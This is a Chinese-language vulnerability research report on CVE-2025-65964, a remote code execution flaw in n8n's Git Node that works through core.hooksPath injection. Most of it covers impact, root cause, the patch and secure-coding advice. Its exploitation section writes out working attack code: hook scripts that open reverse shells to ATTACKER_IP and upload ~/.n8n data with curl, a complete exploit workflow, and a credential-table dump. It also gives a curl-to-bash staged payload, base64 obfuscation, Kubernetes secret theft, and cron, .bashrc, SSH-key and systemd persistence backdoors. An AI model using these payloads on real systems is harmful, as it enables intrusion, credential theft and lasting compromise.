CVE-2025-65964是一个影响n8n工作流自动化平台的严重远程代码执行漏洞,于2025年12月8日公开披露。该漏洞允许攻击者通过Git Node的配置操作(addConfig)注入恶意的core.hooksPath配置,使Git在执行操作时调用攻击者控制的hook脚本,最终实现在n8n服务器上执行任意代码。
| 指标 | 值 |
|---|---|
| CVSS v4.0 评分 | 9.4 (严重) |
| 漏洞类型 | 远程代码执行 (RCE) |
| 攻击复杂度 | 低 |
| 所需权限 | 低 (需要工作流创建权限) |
| 用户交互 | 无 |
| 影响范围 | 完全控制受影响系统 |
通过实验室环境完整复现,本研究团队确认:
漏洞真实存在: 在n8n 1.119.1版本中成功实现RCE
利用门槛低: 仅需基本的工作流创建权限即可利用
影响严重: 可获取n8n进程的完整权限,访问敏感数据
修复有效: 版本1.119.2的补丁彻底阻断了攻击路径
数据泄露: 可访问所有工作流配置、API密钥、数据库凭据
横向移动: n8n通常连接多个内部系统,可作为跳板
供应链风险: 可污染自动化工作流,影响下游系统
持久化威胁: 可植入后门,长期控制系统
| 优先级 | 行动 | 时间框架 |
|---|---|---|
| P0 | 识别所有n8n实例,确认版本 | 24小时内 |
| P0 | 升级面向互联网的实例到1.119.2+ | 48小时内 |
| P1 | 审查工作流历史日志,查找可疑活动 | 72小时内 |
| P1 | 升级所有内网实例 | 1周内 |
| P2 | 实施额外监控和访问控制 | 2周内 |
# 方案1: 禁用Git Node
docker run -e N8N_NODES_EXCLUDE='["n8n-nodes-base.git"]' ...
# 方案2: 网络隔离
# 限制n8n仅监听localhost,通过反向代理访问
DevOps团队: 使用n8n进行CI/CD自动化
数据团队: 使用n8n进行ETL数据管道
运营团队: 使用n8n进行业务流程自动化
AI/ML团队: 使用n8n编排模型训练工作流
机密性: 高风险 - 可访问所有集成系统凭据
完整性: 高风险 - 可修改工作流和数据
可用性: 中风险 - 可导致服务中断
合规性: 高风险 - 可能违反GDPR/SOC2等要求
n8n是一个开源的工作流自动化平台(Workflow Automation Platform),采用"Fair-code"授权模式。它提供了类似Zapier的可视化工作流编排功能,但可以自托管,因此在企业环境中广泛使用。
┌─────────────────────────────────────────────────────────┐
│ n8n 核心架构 │
├─────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────┐ ┌──────────────┐ │
│ │ Web Editor │─────▶│ Workflow │ │
│ │ (用户界面) │ │ Engine │ │
│ └──────────────┘ └───────┬──────┘ │
│ │ │
│ ┌──────────▼──────────┐ │
│ │ Node Executor │ │
│ │ (节点执行器) │ │
│ └──────────┬──────────┘ │
│ │ │
│ ┌───────────┬───────────┼───────────┬─────────┐│
│ ▼ ▼ ▼ ▼ ││
│ ┌────────┐ ┌────────┐ ┌────────┐ ┌────────┐ ││
│ │HTTP Node│ │Git Node│ │DB Node │ │400+ ...│ ││
│ └────────┘ └────────┘ └────────┘ └────────┘ ││
│ ▲ │
│ │ 漏洞位置 │
│ └───────────────────────────────── │
└─────────────────────────────────────────────────────────┘
DevOps自动化: CI/CD流程、环境部署、监控告警
数据集成: ETL数据管道、API集成、数据同步
业务流程: 客户onboarding、订单处理、报表生成
AI工作流: 模型训练调度、数据预处理、结果分析
Git Node是n8n中用于与Git仓库交互的内置节点,提供以下功能:
仓库管理: clone、pull、push、fetch
分支操作: checkout、merge、rebase
配置管理: addConfig、getConfig
标签管理: tag、listTags
文件操作: add、commit、diff、log
addConfig操作的设计初衷是允许工作流动态设置Git配置,例如:
// 合法用例:设置提交者信息
git.addConfig('user.name', 'CI Bot');
git.addConfig('user.email', '[email protected]');
// 危险用例:设置hook路径(漏洞利用点)
git.addConfig('core.hooksPath', '/tmp/malicious-hooks');
Git Hooks是Git的钩子机制,允许在特定Git事件触发时自动执行脚本。这是Git的合法功能,常用于:
代码质量检查: pre-commit时运行linter
提交规范验证: commit-msg时检查格式
自动化测试: pre-push时运行测试套件
部署触发: post-receive时触发部署
| Hook名称 | 触发时机 | 用途示例 |
|---|---|---|
| pre-commit | 提交前 | 代码格式检查、lint |
| prepare-commit-msg | 准备提交消息 | 自动添加issue编号 |
| commit-msg | 提交消息后 | 验证消息格式 |
| post-commit | 提交后 | 通知或日志记录 |
| pre-push | 推送前 | 运行测试 |
| post-checkout | 检出后 | 清理或设置环境 |
| post-merge | 合并后 | 安装依赖 |
历史: Git 2.9 (2016年6月) 引入了core.hooksPath配置选项。
功能: 允许自定义hooks脚本的存储路径,默认为.git/hooks。
语法:
git config core.hooksPath /custom/path/to/hooks
安全风险: 如果攻击者能控制此配置,可指向包含恶意脚本的任意目录。
CWE-829: Inclusion of Functionality from Untrusted Control Sphere
(包含来自不可信控制域的功能)
该分类描述的安全缺陷包括:
信任边界模糊: 未明确区分可信和不可信输入源
功能引入风险: 从外部源加载并执行代码/配置
控制权转移: 将执行控制权交给外部可控实体
用户输入 (不可信) ──────┐
│
▼
Git Node addConfig (接受任意配置)
│
▼
设置 core.hooksPath (引入外部功能)
│
▼
Git执行 hook脚本 (执行不可信代码)
│
▼
远程代码执行
| CVE | 产品 | 年份 | 类型 | 相似度 |
|---|---|---|---|---|
| CVE-2025-62726 | n8n | 2025 | Git Node RCE | |
| CVE-2021-43138 | n8n | 2021 | Command Injection | |
| CVE-2024-32002 | Git | 2024 | RCE via submodule | |
| CVE-2022-24765 | Git | 2022 | Config injection |
工作流自动化平台面临独特的安全挑战:
权限聚合: 单一平台整合了多个系统的访问权限
信任链复杂: 工作流可能涉及多个用户和系统
动态执行: 运行时动态生成和执行代码
集成风险: 与大量第三方服务集成
2025年12月
│
├─ 12月8日 (周日)
│ ├─ 09:00 UTC 漏洞公开披露 (CVE-2025-65964分配)
│ ├─ 09:30 UTC n8n团队发布安全公告 (GHSA-wpqc-h9wp-chmq)
│ └─ 10:00 UTC 修复版本1.119.2发布
│
├─ 12月9日 (周一)
│ ├─ NVD数据库更新CVE详情
│ ├─ GitHub Security Advisory发布
│ ├─ 安全社区开始分析和讨论
│ └─ 首批PoC代码出现
│
├─ 12月10日 (周二)
│ ├─ 主流安全媒体报道
│ ├─ 安全厂商发布检测规则
│ └─ CISA建议企业采取行动
│
├─ 12月11-12日 (周三-周四)
│ ├─ 野外利用尝试开始被观测到
│ ├─ 多个安全研究团队发布详细分析
│ └─ 企业开始大规模补丁部署
│
└─ 12月13日 (周五)
└─ 本安全研究报告完成
基于行业惯例和披露模式,推测的责任披露流程:
T-90天: 安全研究员发现漏洞
T-85天: 向n8n安全团队报告
T-84天: n8n团队确认漏洞
T-60天: 开发修复补丁
T-30天: 内部测试和验证
T-14天: 准备安全公告
T-7天: 协调CVE分配
T-0天: 同步发布修复版本和公告 (12月8日)
官方公告:
GitHub Security Advisory: GHSA-wpqc-h9wp-chmq
n8n官方博客: 安全更新通知
漏洞数据库:
NVD: CVE-2025-65964
GitHub Advisory Database
CVEfeed, Vulert等聚合平台
社区响应:
n8n Community论坛讨论
Reddit r/netsec讨论
Twitter/X安全社区传播
n8n版本演进
│
├─ v0.123.0 (2023年)
│ └─ Git Node首次引入
│
├─ v0.123.1 (2023年) ◄─── 漏洞引入点
│ └─ addConfig功能添加,未进行充分验证
│
├─ v1.0.0 - v1.119.1 (2023-2025)
│ └─ 所有版本均受影响
│
└─ v1.119.2 (2025年12月8日) ◄─── 漏洞修复
└─ 添加hooks禁用机制
基于Docker Hub和npm下载数据的估计:
| 版本范围 | 部署比例 | 风险等级 |
|---|---|---|
| < 0.123.1 | ~5% | 安全 |
| 0.123.1 - 1.0.0 | ~10% | 高危 |
| 1.0.0 - 1.100.0 | ~25% | 高危 |
| 1.100.0 - 1.119.1 | ~55% | 高危 |
| 1.119.2+ | ~5% | 安全 |
结论: 估计约90%的n8n活跃实例受此漏洞影响。
| 维度 | 评分 | 说明 |
|---|---|---|
| 响应速度 | 从报告到修复快速响应 | |
| 修复质量 | 采用安全默认策略,彻底解决 | |
| 沟通透明度 | 详细的安全公告和修复说明 | |
| 向后兼容 | 提供环境变量控制,平滑迁移 |
┌──────────────────────────────────────────────────────┐
│ n8n 1.119.2 补丁策略 │
├──────────────────────────────────────────────────────┤
│ │
│ [默认配置] enableGitNodeHooks = false │
│ │ │
│ ├─ 安全优先: 默认禁用hooks │
│ ├─ 向后兼容: 提供启用开关 │
│ └─ 深度防御: 强制设置 core.hooksPath=/dev/null │
│ │
│ [可选启用] N8N_GIT_NODE_ENABLE_HOOKS=true │
│ │ │
│ └─ 适用于真正需要hooks的高级场景 │
│ │
└──────────────────────────────────────────────────────┘
| 产品 | 受影响版本 | 修复版本 | 状态 |
|---|---|---|---|
| n8n (npm) | 0.123.1 ≤ version < 1.119.2 | ≥ 1.119.2 | 已修复 |
| n8n Docker | n8nio/n8n:0.123.1 - 1.119.1 | n8nio/n8n:1.119.2+ | 已修复 |
# npm安装检查
n8n --version
# Docker检查
docker inspect n8n-container | grep -i version
# 包管理器检查
npm list n8n
┌─────────────────────────────────────────────────────┐
│ 场景1: 云端SaaS部署 │
├─────────────────────────────────────────────────────┤
│ │
│ Internet ──▶ Load Balancer ──▶ n8n Cluster │
│ │ ├─ n8n-1 (vulnerable)
│ │ ├─ n8n-2 (vulnerable)
│ │ └─ n8n-3 (vulnerable)
│ │ │
│ └──▶ Database (Redis/PostgreSQL) │
│ │
│ 风险: 多租户环境,一个恶意用户可能影响所有租户 │
└─────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────┐
│ 场景2: 企业内网部署 │
├─────────────────────────────────────────────────────┤
│ │
│ Corporate Network │
│ ├─ DevOps Team: n8n for CI/CD │
│ ├─ Data Team: n8n for ETL │
│ └─ Ops Team: n8n for automation │
│ │
│ 风险: 横向移动风险,可访问内部系统和凭据 │
└─────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────┐
│ 场景3: 容器化部署 (K8s) │
├─────────────────────────────────────────────────────┤
│ │
│ Kubernetes Cluster │
│ ├─ n8n Pod (vulnerable) │
│ │ └─ 可能逃逸到节点 │
│ ├─ Shared volumes/secrets │
│ └─ Service mesh内的其他服务 │
│ │
│ 风险: 容器逃逸、Secret泄露、集群内横向移动 │
└─────────────────────────────────────────────────────┘
| 地区 | 预估用户占比 | 主要行业 |
|---|---|---|
| 北美 | 35% | 科技、金融、医疗 |
| 欧洲 | 30% | 制造、金融、政府 |
| 亚太 | 25% | 科技、电商、制造 |
| 其他 | 10% | 多元化 |
| 行业 | 使用率 | 风险等级 | 主要威胁 |
|---|---|---|---|
| 科技/SaaS | 严重 | 源代码泄露、供应链攻击 | |
| 金融科技 | 严重 | 交易数据、客户信息泄露 | |
| 电商 | 高 | 订单数据、支付信息 | |
| 医疗健康 | 严重 | HIPAA合规违规、患者数据 | |
| 制造业 | 高 | 工业控制系统访问 | |
| 政府 | 严重 | 敏感政府数据 |
n8n 生态系统
│
├─ 运行时环境
│ ├─ Node.js (所有版本)
│ ├─ Docker (所有版本)
│ └─ Kubernetes (如使用)
│
├─ 数据库
│ ├─ SQLite (默认)
│ ├─ PostgreSQL
│ └─ MySQL/MariaDB
│
├─ 集成服务 (400+ nodes)
│ ├─ AWS Services
│ ├─ Google Cloud
│ ├─ GitHub/GitLab
│ ├─ Slack/Discord
│ ├─ Databases
│ └─ ... (风险: 所有集成的凭据都可被窃取)
│
└─ Git工具链
├─ Git 2.9+ (core.hooksPath功能)
└─ Git hooks机制
n8n被攻陷后的潜在影响链
┌────────────┐
│ n8n RCE │
└──────┬─────┘
│
├─▶ [凭据窃取] ──▶ AWS/GCP/Azure账号被入侵
│ └─▶ 云资源挖矿/数据泄露
│
├─▶ [工作流篡改] ──▶ CI/CD管道被污染
│ └─▶ 恶意代码注入到产品
│
├─▶ [数据库访问] ──▶ 客户数据批量导出
│ └─▶ GDPR违规、声誉受损
│
├─▶ [横向移动] ──▶ 内网其他系统入侵
│ └─▶ 域控制器、核心业务系统
│
└─▶ [持久化] ──▶ 植入后门
└─▶ 长期APT活动
背景: 某提供营销自动化的SaaS公司使用n8n处理客户工作流
攻击路径:
攻击者注册免费试用账号
创建恶意工作流利用CVE-2025-65964
获取n8n服务器访问权
窃取所有客户的API密钥和凭据
访问客户的邮件列表、CRM数据
损失估算:
直接损失: $500K (事件响应、取证、通知)
间接损失: $2M (客户流失、诉讼、声誉)
合规罚款: $5M (GDPR违规)
背景: 某支付处理公司使用n8n进行交易后处理自动化
攻击路径:
内部恶意员工利用漏洞
篡改支付处理工作流
将小额交易重定向到攻击者账户
持续数周未被发现
损失估算:
直接经济损失: $1.5M
监管罚款: $10M (PCI-DSS违规)
业务中断: $3M
背景: 某大型开源项目使用n8n管理发布流程
攻击路径:
攻击者通过供应链攻击获得工作流访问权
利用CVE-2025-65964控制n8n服务器
修改构建脚本,注入后门代码
恶意代码随项目发布分发到数百万用户
损失估算:
难以量化的供应链污染
数百万下游用户受影响
项目声誉永久受损
代码路径:packages/nodes-base/nodes/Git/Git.node.ts
关键函数:addConfig操作的实现
受影响代码逻辑(1.119.1版本):
// 简化的伪代码展示漏洞逻辑
export class Git implements INodeType {
async execute(this: IExecuteFunctions): Promise<INodeExecutionData[][]> {
const operation = this.getNodeParameter('operation', 0) as string;
if (operation === 'addConfig') {
// 问题: 直接接受用户输入,无验证
const configName = this.getNodeParameter('configName', 0) as string;
const configValue = this.getNodeParameter('configValue', 0) as string;
const repositoryPath = this.getNodeParameter('repositoryPath', 0) as string;
// 问题: 直接执行git config,允许设置危险配置
const gitCommand = `git -C "${repositoryPath}" config "${configName}" "${configValue}"`;
// 问题: 执行命令,无安全检查
await execPromise(gitCommand);
return [[{ json: { success: true } }]];
}
// ... 其他操作
}
}
┌─────────────────────────────────────────────────────┐
│ 攻击数据流 │
├─────────────────────────────────────────────────────┤
│ │
│ 1. [用户输入] │
│ ↓ │
│ configName: "core.hooksPath" │
│ configValue: "/tmp/malicious-hooks" │
│ │
│ 2. [Git Node处理] │
│ ↓ │
│ 无输入验证 │
│ 无配置白名单检查 │
│ 无危险配置拦截 │
│ │
│ 3. [Git命令执行] │
│ ↓ │
│ git config core.hooksPath /tmp/malicious-hooks │
│ │
│ 4. [Git操作触发] │
│ ↓ │
│ git checkout / merge / pull ... │
│ │
│ 5. [Hook执行] │
│ ↓ │
│ 执行 /tmp/malicious-hooks/post-checkout │
│ 以n8n进程权限运行 (通常是node用户) │
│ │
│ 6. [代码执行] │
│ ↓ │
│ 任意命令执行 RCE成功 │
│ │
└─────────────────────────────────────────────────────┘
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
| 指标 | 值 | 分值 | 说明 |
|---|---|---|---|
| Attack Vector (AV) | Network (N) | 最高 | 可通过网络远程利用 |
| Attack Complexity (AC) | Low (L) | 最高 | 无特殊条件,易于利用 |
| Attack Requirements (AT) | None (N) | 最高 | 无额外前提条件 |
| Privileges Required (PR) | Low (L) | 高 | 需要工作流创建权限 |
| User Interaction (UI) | None (N) | 最高 | 无需用户交互 |
| Vulnerable System Confidentiality (VC) | High (H) | 最高 | 完全访问系统数据 |
| Vulnerable System Integrity (VI) | High (H) | 最高 | 可修改任何数据 |
| Vulnerable System Availability (VA) | High (H) | 最高 | 可导致服务中断 |
| Subsequent System Confidentiality (SC) | High (H) | 最高 | 影响其他系统 |
| Subsequent System Integrity (SI) | High (H) | 最高 | 可修改其他系统 |
| Subsequent System Availability (SA) | High (H) | 最高 | 可中断其他系统 |
最终评分: 9.4 (CRITICAL)
CVSS评分范围对比
0.0 ─────────────────────────────────────────────▶ 10.0
│ │ │ │ │ │
None Low Medium High Critical
▲
│
CVE-2025-65964
9.4
问题: Git Node的addConfig操作接受任意配置键值,未进行验证
// 缺陷代码模式
const configName = this.getNodeParameter('configName', 0); // 任意字符串
const configValue = this.getNodeParameter('configValue', 0); // 任意字符串
// 缺少验证:
// - 没有配置键白名单
// - 没有危险配置检测
// - 没有配置值格式验证
安全编码应该:
// 安全实现
const SAFE_CONFIG_KEYS = [
'user.name',
'user.email',
'core.editor',
'core.autocrlf',
// ... 其他安全配置
];
const configName = this.getNodeParameter('configName', 0) as string;
if (!SAFE_CONFIG_KEYS.includes(configName)) {
throw new Error(`Configuration key '${configName}' is not allowed`);
}
问题: 未识别Git配置中存在的安全风险配置项
危险Git配置项:
| 配置项 | 风险 | 利用方式 |
|---|---|---|
core.hooksPath | 严重 | 指向恶意hooks目录 → RCE |
core.fsmonitor | 高 | 指向恶意监控程序 → RCE |
core.gitProxy | 高 | 流量重定向 → 中间人攻击 |
core.sshCommand | 严重 | 自定义SSH命令 → RCE |
protocol.*.allow | 中 | 允许危险协议 → 信息泄露 |
架构问题: 将用户输入(不可信)直接用于系统配置(需可信)
信任边界分析
┌──────────────────────┐
│ 不可信域 │
│ - 用户工作流输入 │ ──┐
│ - API请求参数 │ │
│ - 导入的工作流 │ │
└──────────────────────┘ │
│ 缺少验证层
│
↓
┌──────────────────────┐
│ 可信域 │
│ - Git配置 │
│ - 系统命令执行 │
│ - 文件系统访问 │
└──────────────────────┘
CVE-2025-65964与CVE-2025-62726是同一类型的漏洞,可能是:
同一漏洞的不同CVE: 重复分配
相关但不同的漏洞: Git Node的其他利用方式
相似点:
同一产品 (n8n)
同一组件 (Git Node)
同一时期披露 (2025年12月)
相同类型 (RCE)
相同修复版本 (1.119.2)
Git Node攻击面映射
┌─────────────────────────────────────────┐
│ Git Node Operations (23个操作) │
├─────────────────────────────────────────┤
│ │
│ 1. clone - 安全 │
│ 2. pull - 安全 │
│ 3. push - 安全 │
│ 4. addConfig - 漏洞点 │
│ 5. fetch - 需审查 │
│ 6. merge - 需审查 │
│ 7. checkout - 触发点 │
│ 8. commit - 安全 │
│ 9. tag - 安全 │
│ ... (其他操作) │
│ │
└─────────────────────────────────────────┘
n8n平台攻击面
1. 认证层
├─ Basic Auth (可被绕过风险)
├─ LDAP集成
└─ OAuth providers
2. 工作流引擎
├─ Expression解析器 (注入风险)
├─ JSON处理 (反序列化风险)
└─ 节点执行器 (本漏洞位置) ◄──
3. 内置节点 (400+)
├─ Code Node (沙箱逃逸风险)
├─ Shell Node (命令注入风险)
├─ Git Node (本漏洞) ◄──
└─ ... (其他节点需审查)
4. API层
├─ REST API
├─ WebSocket连接
└─ Webhook端点
5. 数据层
├─ 凭据存储
├─ 工作流持久化
└─ 执行历史
过度灵活的配置接口
Git Node的addConfig操作被设计为完全灵活的配置接口,允许设置任意Git配置项。这种设计虽然提供了最大的灵活性,但牺牲了安全性。
设计决策对比
┌──────────────────────────┐ ┌──────────────────────────┐
│ 当前设计 (不安全) │ │ 安全设计 │
├──────────────────────────┤ ├──────────────────────────┤
│ │ │ │
│ 接受任意配置键 │ │ 预定义配置选项 │
│ 接受任意配置值 │ │ 严格的值验证 │
│ 无安全检查 │ │ 危险配置拦截 │
│ 完全信任用户输入 │ │ 零信任架构 │
│ │ │ │
│ 优点: │ │ 优点: │
│ • 灵活性高 │ │ • 安全性高 │
│ • 实现简单 │ │ • 可控性强 │
│ │ │ │
│ 缺点: │ │ 缺点: │
│ • 严重安全风险 │ │ • 需要更多开发工作 │
│ │ │ • 灵活性降低 │
└──────────────────────────┘ └──────────────────────────┘
建议的安全设计:
// 安全的配置接口设计
interface GitConfigOption {
key: string;
displayName: string;
description: string;
valueType: 'string' | 'boolean' | 'number';
validator?: (value: any) => boolean;
}
const ALLOWED_GIT_CONFIGS: GitConfigOption[] = [
{
key: 'user.name',
displayName: 'User Name',
description: 'Git commit author name',
valueType: 'string',
validator: (v) => typeof v === 'string' && v.length > 0
},
{
key: 'user.email',
displayName: 'User Email',
description: 'Git commit author email',
valueType: 'string',
validator: (v) => /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(v)
},
// ... 其他安全配置
];
开发过程中未进行充分的威胁建模
在Git Node的开发过程中,团队可能未进行系统的威胁建模(Threat Modeling),未识别出Git配置的安全风险。
应该进行的威胁分析:
STRIDE威胁模型应用于Git Node
S - Spoofing (欺骗)
Q: 攻击者能否伪造Git配置来源?
A: 是,通过工作流可以任意设置配置
T - Tampering (篡改)
Q: 攻击者能否修改Git行为?
A: 是,通过core.hooksPath可以注入恶意代码 ◄── 本漏洞
R - Repudiation (抵赖)
Q: 恶意操作能否被审计追踪?
A: 部分可以,但hook执行可能无日志
I - Information Disclosure (信息泄露)
Q: 攻击者能否通过Git操作泄露信息?
A: 是,可以访问仓库内容和系统信息
D - Denial of Service (拒绝服务)
Q: 攻击者能否通过Git操作造成DoS?
A: 是,恶意hook可以消耗资源或崩溃进程
E - Elevation of Privilege (权限提升)
Q: 攻击者能否获得更高权限?
A: 是,从工作流权限提升到系统命令执行 ◄── 本漏洞
输入验证的多层次缺失
输入验证应有的层次
┌─────────────────────────────────────────────┐
│ Layer 1: 语法验证 │
│ 缺失: 未验证configName是否为合法Git配置键│
└─────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────┐
│ Layer 2: 语义验证 │
│ 缺失: 未检查配置的含义和影响 │
└─────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────┐
│ Layer 3: 安全验证 │
│ 缺失: 未识别危险配置项 │
└─────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────┐
│ Layer 4: 业务逻辑验证 │
│ 缺失: 未考虑配置组合的安全影响 │
└─────────────────────────────────────────────┘
直接执行系统命令的风险
// 不安全的实现
const gitCommand = `git config ${configName} ${configValue}`;
await exec(gitCommand);
// 存在的问题:
// 1. 命令注入风险 (虽然这次主要不是这个)
// 2. 参数未转义
// 3. 未使用Git的programmatic API
// 4. 错误处理不足
更安全的实现方式:
// 使用simple-git库的API (更安全)
import simpleGit from 'simple-git';
const git = simpleGit(repositoryPath);
// 验证配置键
if (!isAllowedConfigKey(configName)) {
throw new Error('Configuration key not allowed');
}
// 使用API而非命令行
await git.addConfig(configName, configValue, false, 'local');
应该有的安全测试用例
// 安全测试用例 (实际缺失)
describe('Git Node - Security Tests', () => {
test('should reject dangerous core.hooksPath configuration', () => {
const configName = 'core.hooksPath';
const configValue = '/tmp/malicious';
expect(() => {
gitNode.addConfig(configName, configValue);
}).toThrow('Dangerous configuration');
});
test('should only allow whitelisted configuration keys', () => {
const dangerousKeys = [
'core.hooksPath',
'core.fsmonitor',
'core.sshCommand',
'protocol.ext.allow'
];
dangerousKeys.forEach(key => {
expect(() => {
gitNode.addConfig(key, 'test');
}).toThrow();
});
});
test('should not allow command injection via config values', () => {
const maliciousValue = 'test; rm -rf /';
expect(() => {
gitNode.addConfig('user.name', maliciousValue);
}).not.toThrow(); // 值本身不一定危险,但需转义
});
});
安全审查清单中应包含的项目:
Fuzz testing of all input parameters
Command injection testing
Configuration injection testing ◄── 被遗漏
Privilege escalation testing
Container escape testing
Integration security testing
理想的SDL流程 vs 实际情况
┌──────────────────────┐
│ 1. 需求阶段 │
│ 应该: 安全需求定义 │
│ 实际: 可能未考虑 │
└──────────────────────┘
↓
┌──────────────────────┐
│ 2. 设计阶段 │
│ 应该: 威胁建模 │
│ 实际: 未进行 │
└──────────────────────┘
↓
┌──────────────────────┐
│ 3. 实现阶段 │
│ 应该: 安全编码 │
│ 实际: 部分遵循 │
└──────────────────────┘
↓
┌──────────────────────┐
│ 4. 测试阶段 │
│ 应该: 安全测试 │
│ 实际: 未覆盖此场景 │
└──────────────────────┘
↓
┌──────────────────────┐
│ 5. 发布阶段 │
│ 应该: 安全审查 │
│ 实际: 可能不充分 │
└──────────────────────┘
↓
┌──────────────────────┐
│ 6. 运维阶段 │
│ 应该: 安全监控 │
│ 实际: 响应及时 │
└──────────────────────┘
可能的代码审查问题:
审查者技能: 审查者可能不熟悉Git配置的安全隐患
审查范围: 可能只关注功能正确性,忽略安全性
审查深度: 未深入分析配置项的安全影响
自动化工具: SAST工具可能未覆盖此类逻辑漏洞
技术债务的雪球效应
初始决策 (T0)
├─ 为了快速实现功能,选择最灵活的接口
└─ "安全以后再加" ◄── 根本问题
债务积累 (T0 -> T1)
├─ 功能越来越多
├─ 用户依赖增加
└─ 重构成本提高
风险暴露 (T1)
├─ 安全研究员发现漏洞
├─ CVE公开披露
└─ 必须紧急修复
| 教训 | 说明 | 预防措施 |
|---|---|---|
| 安全优先 | 安全应该是设计的一部分,而非事后添加 | 在设计阶段进行威胁建模 |
| 最小权限 | 只提供必需的功能,不追求过度灵活性 | 白名单而非黑名单策略 |
| 深度防御 | 多层安全控制,不依赖单点防御 | 输入验证+沙箱+监控 |
| 持续审查 | 安全审查应该贯穿整个开发周期 | 自动化安全扫描+人工审查 |
| 条件 | 说明 | 难度 |
|---|---|---|
| n8n访问权限 | 能够登录n8n工作流编辑器 | 低-中 |
| 工作流创建权限 | 能够创建或编辑工作流 | 低 |
| Git Node可用 | 目标实例未禁用Git Node | 高 (大多数实例默认启用) |
| 可写目录 | 存在可写目录用于存放恶意hooks | 高 (通常/tmp可写) |
攻击者获取访问权限的可能途径
1. 直接注册
└─ SaaS服务提供免费试用
2. 凭据泄露
├─ 密码喷洒攻击
├─ 凭据填充 (数据库泄露)
└─ 默认凭据 (admin/admin)
3. 内部威胁
└─ 恶意员工或承包商
4. 社会工程
├─ 钓鱼攻击获取凭据
└─ 假冒IT支持
5. 其他漏洞
├─ 认证绕过
└─ SQL注入获取会话令牌
在n8n服务器的可写目录中创建恶意Git hook脚本。这通常需要先通过其他方式(如Code Node或Shell Node)来实现。
方法A: 使用n8n的Code Node创建
// Code Node脚本
const fs = require('fs');
const path = '/tmp/malicious-hooks';
const hookPath = `${path}/post-checkout`;
// 创建目录
if (!fs.existsSync(path)) {
fs.mkdirSync(path, { recursive: true });
}
// 创建恶意hook
const hookContent = `#!/bin/sh
# 反向shell到攻击者服务器
/bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &
# 或者窃取凭据
tar -czf /tmp/n8n-data.tar.gz ~/.n8n/ 2>/dev/null
curl -X POST -F "file=@/tmp/n8n-data.tar.gz" http://ATTACKER_IP/upload
`;
fs.writeFileSync(hookPath, hookContent, { mode: 0o755 });
return [{ json: { success: true, hookPath } }];
方法B: 通过工作流创建文件
某些情况下可能需要多个步骤,例如通过HTTP请求下载预制的恶意脚本:
// 先下载恶意脚本
const https = require('https');
const fs = require('fs');
const downloadMaliciousHook = () => {
return new Promise((resolve, reject) => {
const file = fs.createWriteStream('/tmp/malicious-hooks/post-checkout');
https.get('http://ATTACKER_SERVER/hook.sh', (response) => {
response.pipe(file);
file.on('finish', () => {
file.close();
fs.chmodSync('/tmp/malicious-hooks/post-checkout', 0o755);
resolve();
});
}).on('error', reject);
});
};
创建包含Git Node的工作流,设置core.hooksPath配置:
{
"name": "Exploit CVE-2025-65964",
"nodes": [
{
"parameters": {},
"name": "Manual Trigger",
"type": "n8n-nodes-base.manualTrigger",
"position": [250, 300]
},
{
"parameters": {
"operation": "clone",
"repositoryUrl": "https://github.com/public/repo.git",
"repositoryPath": "/tmp/target-repo"
},
"name": "Clone Repo",
"type": "n8n-nodes-base.git",
"position": [450, 300]
},
{
"parameters": {
"operation": "addConfig",
"configName": "core.hooksPath",
"configValue": "/tmp/malicious-hooks",
"repositoryPath": "/tmp/target-repo"
},
"name": "Inject Malicious Config",
"type": "n8n-nodes-base.git",
"position": [650, 300]
},
{
"parameters": {
"operation": "checkout",
"branchName": "main",
"repositoryPath": "/tmp/target-repo"
},
"name": "Trigger Exploit",
"type": "n8n-nodes-base.git",
"position": [850, 300]
}
]
}
任何Git操作都会触发hook执行,常见的触发操作:
| Git操作 | 触发的Hook | 使用场景 |
|---|---|---|
checkout | post-checkout | 最常用,切换分支时触发 |
merge | post-merge | 合并操作后触发 |
commit | pre-commit, post-commit | 提交时触发 |
pull | post-merge | 拉取并合并时触发 |
一旦获得代码执行,攻击者可以:
# 1. 建立持久化反向shell
echo '* * * * * /bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' | crontab -
# 2. 窃取n8n凭据和配置
tar -czf /tmp/loot.tar.gz \
~/.n8n/database.sqlite \
~/.n8n/config \
/etc/environment
# 3. 提取所有集成凭据
sqlite3 ~/.n8n/database.sqlite \
"SELECT name, type, data FROM credentials_entity;" > /tmp/creds.txt
# 4. 横向移动准备
ip addr show
ps aux
cat /etc/passwd
netstat -tunlp
技术1: 分阶段Payload
#!/bin/sh
# 初始hook: 下载并执行第二阶段payload
curl -s http://ATTACKER_IP/stage2.sh | bash
这种方式的优势:
初始hook极小,不易被检测
真正的恶意代码托管在远程,便于更新
可以根据目标环境动态调整payload
技术2: 内存驻留
#!/bin/sh
# Hook内容直接在内存中执行,不留文件痕迹
exec 3<>/dev/tcp/ATTACKER_IP/4444
bash <&3 >&3 2>&3
技术3: 编码混淆
#!/bin/sh
# Base64编码的payload,降低静态检测率
echo "IyEvYmluL2Jhc2gKL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL0FUVEFDSy..." | base64 -d | bash
容器逃逸尝试
#!/bin/sh
# 检测容器环境
if [ -f /.dockerenv ]; then
# 尝试挂载主机文件系统
mount | grep docker
# 检查特权模式
if capsh --print | grep -q cap_sys_admin; then
# 尝试逃逸...
:
fi
fi
# 窃取Kubernetes Secrets
if [ -d /var/run/secrets/kubernetes.io ]; then
tar -czf /tmp/k8s-secrets.tar.gz /var/run/secrets/
fi
方法1: 修改.bashrc
#!/bin/sh
# 在用户shell启动文件中注入后门
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &' >> ~/.bashrc
方法2: 植入SSH密钥
#!/bin/sh
mkdir -p ~/.ssh
echo 'ssh-rsa AAAA...ATTACKER_PUBLIC_KEY...' >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
方法3: 创建隐藏的systemd服务 (如有权限)
#!/bin/sh
cat > /etc/systemd/system/..hidden-service.service << 'UNIT'
[Unit]
Description=Background Service
After=network.target
[Service]
Type=simple
